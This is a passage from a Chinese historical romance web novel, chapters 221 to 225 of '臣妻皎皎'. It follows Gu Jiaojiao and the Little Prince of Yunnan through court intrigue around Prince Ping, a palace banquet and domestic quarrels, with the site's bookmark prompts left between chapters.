赵蕴苎出身高贵,在这京城之中上到官眷,下到百姓,无一不看她的脸色。 如今,她在外出言为难顾皎皎,里面的二人自是坐不住的。 “说到底,这赵姑娘今日前来,也是为了玉荣你吧?” 沈云祉抬了抬眼帘,言外之意自是明显。 杜玉荣略显尴尬,缓缓站起身冲沈云祉行了个礼。 “小王爷安坐,我去处理。” 待杜玉荣走出这屋门时,外面的赵蕴苎还未停止对顾皎皎的指责。 “我原本以为你也算是个懂事的,就算是做生意,你也是个女娘,要知礼仪廉耻,日日与男子厮混在一起,也不怕他人笑话。” “赵姑娘。” 杜玉荣走过来时,出于本能的挡在了顾皎皎身前。 只看到他的脸那一刻,赵蕴苎便似泄了气的气球一般,连脸上笑都显得温柔了许多。 “赵姑娘好歹也是世家子女,自幼饱读诗书,也该知道谨言慎行四字。” 杜玉荣何尝不知道赵蕴苎的心意,只是种种牵绊,让他甩不开,也逃不掉。 赵蕴苎面露难堪之色,缓缓低下头,低声开口。 “荣哥哥误会了,我,我只是提醒顾姑娘,别无他意。” 是误会,是提醒,在场的人心知肚明。 顾皎皎有些烦躁,她已然不是一次两次来应付这位世家女了,如今只想快些打发了她。 “是,赵姑娘说的是,杜大人,都只是误会而已,赵姑娘已然定了一间屋子,我会吩咐人留好。” 顾皎皎从始至终都是一副平静如水的模样,自然,她也感谢杜玉荣出手相助。 杜玉荣神色不好,一向温润如玉的他,也难得冷言相对。 “赵姑娘是首辅大人的掌上明珠,如今也出来久了,我送你回去。” 说完,他便先一步离开。 刚刚还张扬跋扈的赵蕴苎,现在就如一只小白兔一样,低着头,迈着小碎步跟赵蕴苎离开,出门前在杜玉荣的提醒下,她还交了一份定钱。 看着他们走出第一楼,顾皎皎才返回那个雅间。 “人生在世,总是要争口气,一味忍让只会让别人得寸进尺。” 沈云祉歪着头,意有所指。 顾皎皎知道,他在说自己刚刚太过软弱,却也并不生气。 “这世间哪有那么多的公平,我又有何资本跟人家去争气,就像小王爷,来到这繁华的京城,不也要忍气吞声吗?” 沈云祉想说,他可以做她的资本,但听到她后面的话后,又只好将想说的咽了回去。 她说的也没错,识时务者为俊杰。 “是啊,即使是本王,也不得不忍耐,只是本王好奇,若是这次本王输了,顾姑娘又当如何?” 他说话间身子向前倾了倾,眼底袭上玩味的笑,似是一位猎人在盯着一只逃不掉的猎物。 顾皎皎有一瞬间的慌乱,立即将目光移向别处。 “小云南王莫要说笑了,朝政大事岂是我一介商女可考量的?无论成败,也与民女无关。” 她原本是个喜怒不形于色的人,可现下说着这口是心非的话,却心跳加速。 沈云祉挑了挑眉毛,又装出那副不解的模样。 “是吗?本王还以为顾姑娘在码头准备船只,是做好了帮本王逃跑的准备。” 啪! 顾皎皎手中的杯盏划落,幸好没落在地上,只是在桌上滚了两圈,才被她手忙脚乱的抓住。“你,你怎么知道?我……” “你确实做的隐蔽,就连船夫用的都不是你的人,而是高价外找的,可是,谁让本王聪敏呢?” 沈云祉端起茶,放在唇边浅尝,掩盖着他勾起的笑容。 顾皎皎不禁咬了咬牙,心里想着这沈云祉莫不是猴子变的,好似什么都逃不过他的眼睛。 “小云南王运筹帷幄,民女做些保障,也是因为小云南王当日的救命之恩,如今用不上,倒是更好。” 她现在连头都没敢抬,脸色微红,像是怕人窥探到她的心事一般。 沈云祉大笑出声。 “好,不管是何种意图,本王都承你的情。” 他的声音很好听,那副慵懒与随意怕是很多人学都学不来的,大抵也因为他有着那样高贵的身份,所以才更自由。 自由。 这两个字,是顾皎皎一直向往,但又不可能得到的。 沈云祉离开时,顾皎皎将他送到门口,看着他上了马车。 马车未动,双瑞却捧着一个匣子走了过来,递到顾皎皎面前。 “小王爷说了,这是赠予姑娘的,是为谢礼,若是姑娘不收,小王爷便让属下将这东西挂在第一楼。” 双瑞是个机灵的,一口气将所有的话说完,让顾皎皎想不收下都难。 顾皎皎不敢对沈云祉怎样,却在接下匣子时,狠狠的瞪了双瑞一眼。 “姑娘瞪我作甚?小王爷就在车上,我帮姑娘通报一声?” 这小子明明就是故意的。 顾皎皎挑了挑眉毛,怕马车上的人听到,刻意压低了声音。 “双瑞,你换香囊了?” 此话一出,双瑞头也不回的跑掉了。 车里的人从始至终都没有露面,那个帘子始终放下,直至马车离开,他也未留下一句话。 看着马车远离,再无踪影后,顾皎皎才缓缓打开了那个紫檀木的匣子。 一支玉钗,触手生温,玉质通透,顶端是雕刻的桅子花,做工精巧,无一丝瑕疵。 “真是好看,这玉钗价值不菲吧?看样子是工匠新雕刻出来的,定是小云南王知道姑娘喜爱桅子花,特意为你准备的。” 就连莺儿看着这玉钗都移不开目光,可见它绝非凡品。 “别胡说,小云南王就只是谢我而已。” 顾皎皎将匣子重新盖好,小心翼翼的递到莺儿手中,又再次叮嘱着。 “好好收起来,日后……” “姑娘又要还给小云南王吗?上一次那套衣衫,你要还回去,惹得小王爷生了好大的气,若是这个再还回去……” 莺儿没有说下去,但意思已经很明显了。 顾皎皎也心有忌惮。 “好吧,先收着,日后再说。” 她只能先收下。 京城似乎又恢复了往日的宁静,但暗地里的汹涌从未停止。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十一章 夜夜难安 平王府。 平王思索许久,也未曾想通自己是哪里露了破绽。 他与沈云祉斗了这么久,小云南王身边的人是无法靠近他的,更别提从他这里探查到消息了,思来想去,平王最终认定沈云祉在京城还有其他势力。 平王派人去查,却也依旧在府内大发雷霆。 书房了书本笔墨都被他砸了个遍,就连案几都被掀翻在地,李嬷嬷以及下人们劝了一遍又一遍,却都被赶了出来,最后还是惊动了平王妃。 平王妃是内宅女子,甚少参加平王的大事上,但近来也出了一些主意,她身为人妇,自然知道平王想要什么,也自会为他周全。 看着满屋狼籍,平王妃也未叫人收拾,只是绕开地面上的杂物,走到平王身边。 “王爷心里不快,发泄出来也是好事。” 她声音温和,面色从容,低垂下眼眸之时,也柔情似水。 平王抬头看了她一眼,眼中的怒气难消。 “本王屡次被那沈云祉牵着鼻子走,这个气不出,本王日后夜夜难安。” 他说这话的时候,都是咬着牙的,一旁的平王妃也不意外,缓缓坐在他身侧。 “王爷愤恨是应当的,但依妾身之见,却不必将这小云南王放在眼里。” “不放在眼里?如果他在御前行走胜过本王,不日云南王便欲回京,只怕不多时,天下大变。” 他们之所以争成这般,为的不是斗气,不是掌兵掌财,为的是那九五之尊的位置。 “正是如此,妾身才以为小云南王不足为惧。” 平王妃依旧面色平静。 平王看向她,一脸疑惑,等待着她继续说下去。 “王爷细想就是,皇上若真属意小云南王为太子,为何刺杀之事上轻拿轻放?按照律法,就算皇族没有死罪,那也是要削爵夺位的。” 皇上的圣旨只是罚没了平王一笔银钱,作为对沈云祉的赔偿,而后就是明旨申斥,再无其他。 甚至,到现在为止,朝中许多大臣都还不知道平王就是刺杀案的主谋,只知道此案已结,大理寺得了旨意,也无人敢透露半个字。 这些,平王都不曾细想,如今经平王妃提醒,他倒是冷静了许多。 “你的意思是,皇上有意偏袒本王?” “自然是,王爷与皇上虽是不睦,可那云南王镇守云南多年,先帝都不曾动立太子的心思,皇上更不可能了。” 平王妃扫了一眼这满屋的狼籍后,又继续说了下去。 “皇上圣躬违和,在这个时候如此袒护王爷,许是……” “许是,我这个幼弟也知道,本王才是最好的帝王人选。” 平王的怒气早就烟消云散,被一抹得意所取代,好像皇位已经确定是他的了一般。 “是啊,皇上有意施恩,王爷也不可不领情,依妾身之见,接下来不如静观其变。” 平王妃分析着利弊,除了对皇上敬重一些,她觉得与百官也要搞好关系,不为现在,为了将来。 “自然了,王爷也不必低声下气,以和为贵就好,还有就是徐青青的婚事到底是有圣旨的,莫要出了差错便好。” “她的荣耀也是本王给的,她不敢造次。” “王爷当真这样想吗?冬儿今日在门房处见到徐青青身边的侍女,徐青青说天气渐冷,她那屋子越发冷了,让侍女来问问,是否可以回王府呢。” 平王妃似只是随意的说起这些,只简短的几句话,便让平王对徐青青更为厌恶。 “不必理她,若不是沈云祉从中捣鬼,徐青青也无法以平王府的人出嫁。” 他甚至没提‘郡主’二字,也是他这般态度,让平王妃心里更为放心一些。 “王爷说的是,那妾身明日去一趟那院子,送些炭火棉被,也提点一下徐青青。” 听着这些,平王直夸平王妃在内是贤妻,在外也定会是位好军师,二人言语间,平王的手便环上了平王妃的腰。 平王妃羞涩低下头,脸色微红。 “王爷,这屋子都成这样了,要不……” “那又如何,这么宽敞的地,还不够我们滚的吗?” 话音落下,平王已然翻身将平王妃压在身下,片刻间,这混乱的屋子里也是春色满园。 顾府。 顾皎皎昨夜看账薄看的晚了,今晨便没有起来,莺儿也未打扰,待她醒来时,已日上三竿。 “莺儿,你怎的不叫醒我?快,洗漱更衣。” 顾皎皎看着这时间也不早了,便显得有些急切。 莺儿却是不慌不忙的端来了一盆温水。 “姑娘,我们的商铺一切正常,不需要你每日忙碌盯着,就连霓裳阁的男子衣衫的订单已经排到数月后了,你就休息一日。” 莺儿昨夜也是陪着顾皎皎的,但不知何时睡着了,等她醒来时,已经是深夜。 顾皎皎坐在床榻边,不施任何脂粉的脸依旧动人心魄。 她张了张嘴,最后也没说什么,甚至觉得莺儿的话有道理。 “也是,我也甚是疲累,先梳洗,让他们备些清粥小菜。” “早就备好了,我知姑娘想用些清淡的,一早就备上了。” 莺儿侍候着顾皎皎梳洗,也想起来一些闲话,说给顾皎皎听。 “那安阳候府的人已经数日闭门不出了,孙协兆到底有个闲职必得出门,但每日回来后,都要命人清理一下候府的大门。” 莺儿笑的合不拢嘴。 孙协兆是自作自受,他散布谣言,意图诋毁顾皎皎,只被顾皎皎使了个手段,他便困在其中,无法自救。 那候府里的人个个是无能的,万事都只会依靠别人,如今所有人都避得远远的,他们自然是自顾不暇。 “还有呢,王吉说上门要债的近来也没去,他特意打探了一下,是平王府暗中给放印子钱了提点,那些人也就没敢再上门。” “平王府没有替孙协兆还钱,只是递了些消息,应该只是不想被孙协兆连累了名声,却没打算替他担责任。” 顾皎皎看着铜镜中的自己,忍不住打了个哈欠。 如今,再提到有关孙家,孙协兆的事,她已然像个局外人一样,完全不将他们放在眼里。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十二章 大多事与愿违 顾皎皎没有上妆,坐在窗边享用着莺儿为她准备的餐食。 “说来也是奇怪,平王自也是瞧不上孙三的,可为何还屡次忍让,还非得成全这门婚事呢?” 莺儿站在一旁,小嘴叭叭的就没有停过。 顾皎皎笑了笑。 “哪里是平王非要成全,不过是这婚事过了明路,得了圣旨,他想不嫁也不行。” 说起来,这平王也是够冤的,在此之前,他并不了解孙协兆为人,只觉得是候门之后,终是会有用的,待到平王发现孙三是个废物之时,为时已晚。 “可徐青青是平王的亲生女儿,他这做父亲也忍心将女儿嫁给那般人家?也不争取一下?” 莺儿不解,她自幼跟在顾皎皎身侧,是亲眼见着顾老爷是如何宠爱顾皎皎的,她也便觉得天下的父母皆该如此。 只可惜,大多事与愿违。 “平王也不将徐青青放在眼里,他接回徐青青,想着以郡主的身份,将来能匹配给朝中重臣,于他日后是助益,可谁知他这个女儿惹出这般风波,不嫁孙协兆还能嫁谁?” 再加上沈云祉暗中助力,这门婚事,成也得成,不成也得成。 “姑娘真是聪慧,什么事都看的这般透彻。” 莺儿满脸的崇拜,让顾皎皎不禁笑出声。 “好了,别拍马屁了,收拾了吧。” 她已用完膳。 不准备出门,她便随意穿了件外衫在院子里转一转。 顾府很大,只是如今只顾皎皎一个人,下人却不甚多,她喜静,所以她在院子里的时候,周围除了莺儿也没有旁人。 她一袭白衫长裙袭地,身上没有任何配饰,也缓慢走动,腰肢微摇显得她整个人都很是飘逸,一头乌黑的长发及腰,如缎子一般随着她的身形微微摆动。 她微仰起头,淡淡的笑挂在娇美的脸庞,一双美眸清澈灵动,阳光洒在她脸上,她半眯起眼,感觉着这份温暖,长长的睫毛落下,远远看着那样明显。 她只站在那里,什么都不做,便如一幅画一般。 顾皎皎长长的呼出一口气,似是心情不错,转身之时,却被吓了一跳,连连后退两步。 沈云祉站在门口处,目光里是难得一见的温柔,他久久伫立,只看着她的身影,便觉得美好。 “小云南王何时来的?外面的人为何没有通报?” 顾皎皎惊呼出声,也让门口处沈云祉回过神。 他眼中的温柔瞬间消失,被一抹玩味的笑所取代。 “是本王不让他们传的,门外的人说,你昨夜睡的晚,一直在休息,本王就摘自进来了,不算打扰吧?” 他是这般说着,但是人已经走进来了。 是不是打扰,他自己心里没数吗? 顾皎皎这般想着,却也没敢说出来,只是微微欠了欠身。 “见过小王爷,小王爷大驾光临,是我有失远迎,何来打扰之说?” 她穿的单薄,肩膀处雪白的肌肤露在空气里,雪白的白纱裙若隐若现,使她多了几分妩媚。 沈云祉没有说话,目光落在她的身前,脑海中也不自觉的回想起寺庙之事。 春宵之刻,也终是会让他记忆深刻。 注意到了沈云祉的目光,顾皎皎低头看了一眼自己的衣裙才突然意识到自己的着装太过于单薄。 “莺儿,带小云南王去正厅落坐,我稍后就来。” 顾皎皎甚至没有听到谁回应,便逃也似的离开了。 沈云祉收回目光,看着她‘落荒而逃’的模样,眼中笑意渐浓。 顾皎皎更衣后,将长发束起,还放佩戴了珠钗,显得不那么单调,在确定自己衣衫没有问题后,她才前往前厅。 沈云祉看着一袭素色衣衫走进来时,低垂下眼眸,丝毫不掩饰自己唇边的笑意。 “本王送的玉钗不喜欢吗?不见你戴上。” 他似只是随口问着。 顾皎皎抬手抚摸了下自己所戴的普通的珠钗,浅笑着坐到沈云祉对面。 “小云南王出手阔绰,那般好的玉钗是要等到大节庆的时候戴的。” 这明明就是她的敷衍之词,怕是谁都可以听得出来。 沈云祉早就习惯她这般顾左右而言他。 “小王爷今天过来,是有要事?” 顾皎皎再次开口,也是为了转移话题。 “去了第一楼,伙计说你不曾去过,本王想着是不是出了什么事,便来看看。” 他幸好是来了,不然也不会看到那般宁静美好的画面。 “有劳小王爷挂心了,我一切都好,只是近来疲累,便躲懒歇息一下。” 顾皎皎还是有些尴尬,一直未敢直视沈云祉的眼睛。 她脸颊处的红晕淡淡的,如桃花盛开,惹人怜爱。 “对了,还有一事,过几日本王会很忙,怕也是无暇顾及生意,若是产业之上有何难处,你也不必来报我,自己做决定便好。” 沈云祉说的无比轻松,顾皎皎却不禁愣了一下。 “小王爷是说,所有的事?” 她答应给沈云祉管理产业时倒是也说过,望沈云祉信她,可这也只是在账目上罢了,现在听沈云祉的意思,好似是大小决定都交由她了。 “自然,所有的事,当然,银钱本王会另付的。” 他向来是不缺钱的,只在他那些产业上便可以看出来。 顾皎皎抿了抿唇,觉得眼前的男子一定是疯了,不然怎会将自己的家底交到一个外人手上。 “小云南王信任本是我的福气,只是,只是小王爷那些产业,怕是也有些见不得光的,如若有什么差池,我……” “顾姑娘尽管放手去做,出了什么事本王自己承担,本王做出这个决定也是无可奈何,在这京城之中,我所信之人也无非是你和玉荣,偏偏玉荣对生意之事一窍不通。” 他这句话说的诚恳,让顾皎皎再无拒绝的理由。 沉思片刻,顾皎皎才缓缓站起身行了个礼。 “小王爷既信得过,那我便接下,也定会尽力。” 这也是第一次,顾皎皎没有谈银钱便接下了差事,反正她也不认为沈云祉会无赖到赖账的地步。 不知不觉间,二人便谈成了一桩生意,为表诚意,顾皎皎还命人准备了午膳,而这沈云祉也丝毫没有客气。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十三章 何足挂齿 云南王回京。 皇上在宫中设宴,为云南王接风洗尘,皇室宗亲以及亲贵大臣皆入宫庆贺。 平王许久没有在朝中走动,今日也是难得的出现在宫宴之上。 不知是皇上许久未见云南王,还是有意抬举他,竟为他在皇上身侧设了坐位。 普天之下,莫非王土,皇宫的宫宴自然热闹非凡,歌舞升平。 “许久不见云南王,风光更胜,教出来的儿子也是青出于蓝。” 平王这话带着些许的阴阳怪气,字面上却是无妨,他还刻意端着酒杯,向上面的云南举了举,以示真诚之意。 云南王就坐在皇上身侧,与沈云祉有着七八分相似的脸,因年长显得沉稳稳重不少,但到底征战沙场,杀伐果断之人,眉目间也透着难以掩饰的冷意。 身为小云南王的父亲,自然有他的傲气与高贵。 “平王过誉了,云祉年轻气盛,要学习的地方还有很多,若是有不得体之处,还望平王莫要与他计较。” 同样是说着客套的话,云南王的脸上却没有丝毫温和之色,投过来的目光也冷淡异常。 皇家无情,就如现在,本是至亲之人,生疏至此。 “云南王言重了,都是自家子侄何来不得体之说?” 平王难以掩饰眼中的不屑。 沈云祉就坐在下方,看着这二人维持着表面的平和,他并不参与,他很清楚,平王不是他父亲的对手。 “说起来,也是许久不见云南王妃了,此次怎的没有跟云南王进京?” 平王颇有挑衅之意,唇边的笑意也透露出一丝讥讽。 云南王的封地乃是云南,皇上此次下旨召云南王进京,却并未召家眷,若是家眷随行,便有不敬皇上之嫌,严重者还会被说成有造反之心。 平王刻意提起,也似是在提醒云南王,皇上对他有戒心。 “内人身体娇弱,经不起这舟车劳顿,况且,本王奉旨进京,还有胆大妄为之辈拦路截杀,内子若跟随岂不是陷她于危险之地?” 云南王与云南王妃恩爱,向来是京中的一段佳话,这个理由最恰当不过,不过,这不是重要的,重要的是云南王透露出来的另一信息。 “什么?遇刺?怎会有这等事,怎的没有人来报朕,身边的人都是做什么吃的?” 皇上原因并不将这些闲话放在心上,但听到遇刺一事,却有些坐不住了。 平王意识到不对,垂下头,装作没有听到的样子。 “皇上不必忧心,是臣不让他们报的,臣乃是征战沙场之人,几个小毛贼何足挂齿?” 云南王面对皇上谦和有礼,保持着为臣的本分。 只是,在京城之中,沈云祉遇刺,回京的路上,云南王又几次遇到刺客,这一联想,但凡是个有脑子的人便可猜出一二。 众位宗亲大臣在坐,皇上不好发作,但还是狠狠的瞪了平王一眼。 “待宴席结束,朕命刘太医去给你瞧瞧身体,刘太医是宫中的老人了,医术了得,你放心。” 皇上说着,也不等云南王拒绝,便又看向下面的沈云祉。 “如今你父王回京,你们父子二人定是有许多话要说,从今日起,你便不要再去驿站了,朕已经命人将凝景堂打扫出来,方便你们父子二人叙旧。” 这便是沈云祉所说的忙碌,既入了这宫中,出去便难了。 “是,微臣遵旨,多谢皇上体恤。” 沈云祉起身行礼谢恩,对于他的表现,云南王也显露欣慰之意。 “历来蕃王不入宫城,皇上允许云南王父子居于宫中,莫不是……” “说不准,皇上近来圣体欠安,听闻前日还咳血,许是准备安排要事了。” “云南王战功赫赫,小云南王也是出类拔萃,皇上动了这样的心思,也在所难免。” …… 下方的朝臣们低声议论。 皇上自然是听不到的,但是平王却听得一清二楚。 平王这些时日只做些修身养性之事,偶尔入宫也都是稳重行事,甚至皇上还称赞过他几次,而就在他以为他有胜算的时候,却发生了如今这一幕。 平王握着酒杯的手不断收紧,险些没有控制住自己的情绪。 这些,都被沈云祉看在眼里。 入夜,宫宴散了。 云南王要陪着皇上说话,沈云祉便一人先离开。 在宫殿外,平王拦住了小云南的去路。 “如今你们父子二人倒是得意,只是本王冷眼看着,怕皇上只是论功行赏,你们可莫要生了不该有的心思。” 他指的是皇位,沈云祉一清二楚。 “平王叔这是何意?我父王回京,自然是因为论功行赏,是得了皇上恩赐,至于这不该有的心思,是什么呢?” 沈云祉一直都给人一种散漫的感觉,如今饮了些酒,更显得他不分轻重。 平王自然知道他这是在打哑谜,冷哼一声。 “你不知道?你父王一定知道,你们父子二人还是小心一些。” “既然我父王知道,那平王叔还是跟我父亲去说,人们都说打虎亲兄弟,到时平王叔可以看看,我父王会不会挥刀。” 沈云祉大笑着离开。 平王在原地站了许久,怒不可遏。 就如沈云祉所说,这种话平王是不敢跟云南王说的,云南王向来眼里不揉沙子,最后反倒会弄巧成拙。 此时,沈云祉已经向凝景堂走去。 他少回京,又因为祖宗规矩,也并未在宫中住过,所以在宫中行走,都是由宫人在前面带路。 “小云南王请随奴才来。” “这凝景堂远是远了些,但远离嫔妃居所,靠近湖边倒是一个赏景的好地方。” “那院子里,还种植了几株凤凰花,夏日时盛开,好看极了。” 前面的小太监不停的说着。 这也算是讨好,毕竟,皇上留下沈云祉父子二人,这宫中之人都猜测着,皇上对云南王一家青睐有加,自是任谁也不敢怠慢。 到达这宫殿门前,沈云祉命人给了这小太监一些赏钱,这小太监才兴高采烈的离开。 宫门推开,里面已经备了一些侍候的人,齐刷刷的向沈云祉行礼。 偌大宫殿,沈云祉却面露愁容。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十四章 脱不了关系 同样的夜晚。 顾皎皎倚靠在窗边,夜里的风凉了,她还是开着窗子,月光皎洁,也显得清冷。 莺儿将一个披风披在她的肩膀。 “姑娘,小心着凉。” “可有什么消息?” 顾皎皎没有回头,望着空荡荡院落,声音也显得悠悠的,似是也随风飘着一般。 “今日宫宴,此时,大臣们已经散了,有许多宫员宗亲都已离宫,但并未见小云南王。” 莺儿答道。 自两日前,京城之中盛传云南王回京,但云南王并不张扬,轻车简行,直奔皇宫,也未在城门接受百姓叩拜。 而也是自那日起,沈云祉便再也没有出现过。 他说过,他会忙一段时日,京中产业皆交由顾皎皎打理,且任何决定都由她来做,那时顾皎皎只觉得是他的一个借口,如今看来,便是指现在。 “姑娘,你是在担心小云南王吗?” 莺儿坐在一边,歪着头看向顾皎皎。 “也不算,只是如今朝堂动荡,沈云祉并非是逆来顺受之人,我是怕,会受连累。” 顾皎皎抬手将窗子落下,屋子里也瞬间暖了一些。 她很是焦虑,也确如她所说,皇室若有变,以她如今跟沈云祉的联系,怕是脱不了关系。 “我倒是觉得姑娘多虑了,这云南王入京,皇上又是召告天下,又是设宴接风,可见对云南王府是极好的,不会出去。” 莺儿跟在顾皎皎身边久了,很多重要的消息都是由她传递,便也了解一些。 顾皎皎微微点头,长长的吁了一口气。 “你说的也有理,大抵是因为近来京城之中事杂,我多心了,罢了,去打水梳洗吧。” 她扬起嘴角笑了笑,却在准备起身,窗边一团黑影闪过。 “谁?” 顾皎皎惊呼出声,随着这声音落下,一支箭顺着窗子飞了进来,她眼疾手快,拉着莺儿后退两步。 但那支箭并未朝她们射来,而是直落在窗边的案几之上。 箭支微微抖动,而窗外的人影早就消失不见。 “姑娘,你看。” 莺儿低声开口,却有些慌乱的指了指那支箭。 这时,顾皎皎才注意到,那支箭上竟绑着一张纸条,她立即上前,将那纸条从箭上拿起来。 这张纸是上好的宣纸,花边暗纹,只看着便不是寻常百姓家的用纸。 顾皎皎将那纸条打开,上面却只写了一个字。 “安?谁姓安?安什么?” 莺儿眨巴着大眼睛,一脸疑惑,而且她也不懂,只一个安字能传递什么? 顾皎皎看着这个字,苍劲有力,笔酣墨饱,哪怕只一个字,也可看出写字之人擅长书法。 她微微扬起嘴角,清澈的眸子里不自觉的袭上一抹灵动。 “姑娘为何高兴?莫不是知道传信之人是谁?” 莺儿不解,只是她许久没有看过顾皎皎这般神色,似是高兴,又似是有了心上人一般。 “是小云南王。” 顾皎皎还盯着那张纸,但说出这个称呼时,却异常坚定。 沈云祉几日未出皇宫,就是怕她想的过多,才命人如此传信。 “安,便是一切安好。” 顾皎皎又向莺儿解释了一下这个字意思。 “小云南王真是有心,怕不是姑娘肚子里的蛔虫,知道姑娘担心,便送来消息了。” 莺儿性子向来直爽,想到什么便说什么。 “别胡说八道,什么蛔虫,听着怪恶心的。” 顾皎皎一边说着,一边将那纸箱按着原来的痕迹折好,小心翼翼。 “对对,蛔虫不好听,那便是……嗯,心有灵犀。” 这四个字出来时,顾皎皎抬手便轻敲了一下莺儿的头。 “说什么呢?这话若是让别人听到,不定会传成什么样。” 她装出微怒的样子,莺儿却有些不服气,揉了揉脑袋,嘴噘的老高。 “姑娘,奴婢是觉得小云南王很好的,对姑娘也好,姑娘真的就没有其他想法吗?” 莺儿其实只是随口一说,或者说,她是期望顾皎皎动些心思的。 可这话落到顾皎皎的耳朵里,拿着那纸条的手却不禁顿了顿。 她从未想过这个问题,确切的说,她不敢想。 沈云祉是人中龙凤,心有抱负,所做之事,也绝非普通男子可压成,他这般人物,又怎是她这种身份可以高攀的? “莺儿,连同那支箭收起来。” 顾皎皎收回思绪,面色平静,又似是想到了什么,再次开口提醒。 “这等闲话莫要再说,即使是玩笑,叫人听去也是有嘴说不清的。” 她说完转身向内室走去。 莺儿拿着她递过来的纸条,收起了那支箭,这东西还要细心收着,自是顾皎皎心生不舍。 莺儿想说,她不是在开玩笑,只是看着顾皎皎那般模样,便没有敢再说,身份悬殊,怕引得姑娘不开心。 皇宫,凝景堂。 双剑翻墙而入,禀告沈云祉信已送到。 沈云祉倚靠在榻上,一只手拄着头,微闭着双眼,薄唇边袭上一抹不易察觉的笑意。 “父王还未回来吗?” 他沉声开口,但眼睛却未睁开。 “是,皇上宫里来人传话了,说是皇上与王爷有许多要紧话要说,怕是会很晚,小王爷便不必等了。” 双瑞立即上前答道。 沈云祉这才缓缓睁开双眼,微微颌首。 “歇息吧。” 随意的丢出这三个字,却足以见他心情是极佳的。 双瑞看着沈云祉走进内室,才向双剑凑近了几步。 “你说咱这小王爷现在能安睡了,是因为知道王爷不回来了,还是因为顾姑娘?” 他的声音不大,却被双剑瞪了一眼。 “你若是将这份心思用到正地方,平日里就会少挨些骂了。” “这怎么不是正地方了?若说是为了老王爷,可王爷回来几日了,之前也不见小王爷等候,如此说来,小王爷能安睡,是因为顾姑娘……啊。” 双瑞话音还未落,一个枕头便从内室飞了出来,直直的砸到了双瑞头上。 一向冷峻的双剑都忍不住笑出声。 双瑞抱着枕头,不敢再说一个字,只转身去为里面的沈云祉换了一个枕头。 皇宫里终是荣华富贵,而宫外,却不见得。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十五章 你又能如何 平王妃带着人和物品踏进京郊别院。 徐青青难免不会慌乱,碍于身份她也只能恭恭敬敬的行礼问安。 平王妃俯视着跪在地上徐青青,并未让她平身,而是向里走了几步,坐了下来。 平王妃打量了一眼这屋子,眼底闪过一抹鄙夷。 “虽说这里是小了一些,但麻省虽小五脏俱全,怎么也比你之前所住的地方好许多。” 平五妃停顿了一下,才冷冷瞪向徐青青,继续开口。 “做人嘛,也该知足,徐青青,你觉得呢?” 没有喊她的闺名,更没有提‘郡主’二字,只是加重了‘徐青青’二字。 徐青青也知道,平王妃上门,自不会给她好脸色,她也不甚在意。 她缓缓抬起头,唇边噙着笑。 “王妃教训的是,只是如今与过去自是不同的,从前我只是家户之女,而如今却有着郡主的身份,吃穿用度若太过寒酸,岂不是丢了父王和王妃的脸?” 她仗着是平王的亲生女儿,任谁都不放在眼里,抬眼看着这平王妃,眼底也袭上挑衅之意。 平王妃冷哼一声,侧目看了一眼身边站着的冬儿。 冬儿立即心领神会,快走几步上前,将一个重重的耳光甩到了徐青青的脸上。 冬儿用了十成十的力,致使跪着的徐青青不由自主的倒地,眼冒金星,半天都没有反应过来。 “身为官家女子,第一要领便是礼数,抛开王爷不说,你身为晚辈也该对本王妃使用敬语,这是礼仪。” 平王妃淡然坦然,她此次前来,就是要教训徐青青的,所以对与错,根本不重要。 徐青青的半边脸已经红肿,她忍着痛直起身,满眼都是不服。 “王妃既说礼数,也该清楚,我乃父王的亲生女儿,王妃该护自己贤良名声,不该苛待于我,此事若是父王知道……” “住口。” 冬儿直接厉声打断了徐青青的话。 “你是什么身份?敢如此跟王妃说话,还有,王爷曾交待过,在你成婚之前,不许称王爷为‘父王’,你脑子是进水了,这些都记不住?” 冬儿只是一介婢女,但却可以对着徐青青大呼小叫,自是让徐青青愤恨不已,她正欲说些什么,冬儿却抢先一步。 “何况,今日王妃在百忙之中抽出时间来看你,也是王爷的意思,对你的教导,也是经过王爷允许的。” “不可能。” 徐青青大喊出声,好看的脸如今已经变了模样,也丝毫不掩饰自己对平王妃的恨意。 她这般模样,平王妃倒是很满意。 “本王妃就说嘛,贱婢所生之女,怎可能只会装娇弱,现下倒好了,倒是没让本王妃失望。” 说着,平王妃摆了摆手,冬儿立即将外面的人叫了进来。 一行人都是平王妃身边的下人,每个人的手里都捧着几本书,在徐青青面前站成一排。 “本王妃知道你自幼无人教养,诗书礼乐,琴棋书画无一精通,你虽没有名分,但终究也是王爷的女儿,不日又将嫁人,若一无是处岂非成为人家笑柄?” 平王妃缓缓起身,走到那诗书面前,抬手轻抚上一本书,才又缓缓开口。 “这些有女则女训,也有经文诗词,念你初学,本王妃特意选了些简单的,从今日起,你便开始抄定,每三日抄写一本,命人送给本王妃查验。” 这便是平王妃的本事,不动声色,又打着为徐青青好的名号,让人无法拒绝。 徐青青自然是不肯的。 “平王妃莫不是倚仗着自己的身份欺侮于我?就算我不能与世家千金相比,可我也是父王……” “就是欺侮于你,你又能如何?” 平王妃居高临下,眉眼间鄙夷那般明显,见徐青青怔住,她便又说了下去。 “你自恃王爷之女这个身份,行事轻浮,丢人现眼,跟你那个贱人母亲如出一辙,你竟还想入王府?今时不同往日,你需好自为之。” 平王妃说着,指了指身边的两个嬷嬷。 “她们二位是随本王妃一同入王府,礼仪规矩,都是再清楚不过的,日后她们便留下来,好好教教你。” 除此之外,平王妃也特意叮嘱了,这两位嬷嬷可要严加管教,骂得也打得,但勿必在成婚之前教会徐青青应有的规矩。 这也意味着,徐青青接下来的日子不会好过。 徐青青哭闹了一通,平王妃根本不放在眼里。 “你若不服,便可去找王爷,对了,听闻你闹着说这里寒冷,本王妃便带来了炭火,棉被,还有一些日用品,徐姑娘仔细着点用。” 丢下这样一句话后,平王妃便带着自己的人离开了,却将那两位嬷嬷留下了。 徐青青没有任何反驳的余地,而她接下来的日子自也不会好过。 与此同时,平王也越来越烦躁。 接连几日,皇上都与云南王下棋,商议国事,宫中的眼线传出消息,说是二人不只是讨论朝政,还会聊一些边境之事,而每每这个时候,小云南王沈云祉都陪伴在侧。 平王按捺不住,请旨入宫,理由是自己得了几幅好墨宝,要献与皇上。 这一次,皇上并未在崇德殿召见平王,而是将地点设在了御花园。 